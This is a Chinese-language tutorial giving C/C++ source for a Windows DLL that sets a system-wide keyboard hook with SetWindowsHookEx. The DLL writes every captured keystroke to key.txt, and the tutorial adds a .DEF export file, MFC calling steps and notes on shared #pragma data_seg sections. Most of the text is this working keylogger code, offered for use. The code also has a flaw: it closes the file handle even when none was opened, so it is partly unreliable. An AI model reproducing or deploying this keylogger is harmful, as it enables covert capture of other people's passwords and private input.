1.DLL建立:
#include<windows.h>
#include<iostream.h>
#include<stdio.h>
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安裝的滑鼠勾子控制代碼
HINSTANCE glhInstance=NULL; //DLL執行個體控制代碼
#pragma data_seg()
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有鍵按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("key.txt","a+"); //輸出到key.txt檔案
if (wParam==VK_RETURN)
{
ch='\n';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虛鍵代碼變為字元
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpvReserved // reserved
)
{
glhInstance=hinstDLL;//插入儲存DLL執行個體控制代碼
return 1;
}
BOOL StartHook()
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
if(glhHook!=NULL)
bResult=TRUE;
return bResult;
}
BOOL StopHook()
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
glhHook=NULL;
}
return bResult;
}
2..DEF檔案建立:
LIBRARY
EXPORTS StopHook
EXPORTS StartHook
3.主程式建立(基於MFC dialog類型)
初始:_declspec (dllimport) BOOL StartHook();
_declspec (dllimport) BOOL StopHook();
連結上述產生的 .DLL 檔案
調用:直接可以調用 .dll 中的函數
4.注意:
一、調用方式要一致,防止出現因調用方式不同而造成主程式中找不到指定函數;
二、除了上述的靜態連結 dll ,也可以用 LoadLibrary()等函數動態去連結;
三、用#pragma data_seg建立一個新的資料區段並定義共用資料,其具體格式為:
#pragma data_seg ("shareddata")
HWND sharedwnd=NULL;//共用資料
#pragma data_seg()
#pragma data_seg()一般用於DLL中。也就是說,在DLL中定義一個共用的,有名字的資料區段。最關鍵的是:這個資料區段中的全域變數可以被多個進程共用。否則多個進程之間無法共用DLL中的全域變數。
共用資料必須初始化,否則微軟編譯器會把沒有初始化的資料放到.BSS段中,從而導致多個進程之間的共用行為失敗。
也可以直接用DLL原始碼指定連結選項,就像我們在STRLIB.C那樣(《windows編程》教程動態連結程式庫):
#pragma comment(linker,"/SECTION:shared,RWS")
這種方法只能在沒有def檔案時使用,如果通過def檔案進行匯出的話,那麼設定就要在def檔案內設定而不能在代碼裡設定了。